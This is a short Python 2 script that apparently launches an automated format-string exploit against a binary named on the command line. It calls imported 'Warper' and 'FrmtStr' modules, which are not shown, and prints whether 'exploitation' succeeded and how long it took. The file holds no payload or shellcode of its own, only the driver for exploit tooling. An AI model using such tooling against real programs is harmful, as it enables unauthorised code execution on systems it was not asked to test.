1. #!/usr/bin/python
  2. import time
  3. from warper import *
  4. from frmtStr import *
  5.  
  6. try:
  7.         if(len(sys.argv)<2): raise Exception
  8.         clock = time.clock()
  9.         ret = -1
  10.         # Warper(sys.argv[1], 1, 2) argv[1]=faille argv[2]=payload
  11.         warp = Warper(sys.argv[1])
  12.         frmt = FrmtStr(warp)
  13.         ret = frmt.exploit()
  14.  
  15.         clock = time.clock()-clock
  16.         if(ret<0):
  17.                 print '\x1B[0;31mExploitation fail.\x1B[0m'
  18.         else:
  19.                 print '\x1B[0;32mExploitation in '+str(clock)+' sec.\x1B[0m'
  20. except:
  21.         print '\x1B[0;31m%s <Binary>\x1B[0m' % sys.argv[0]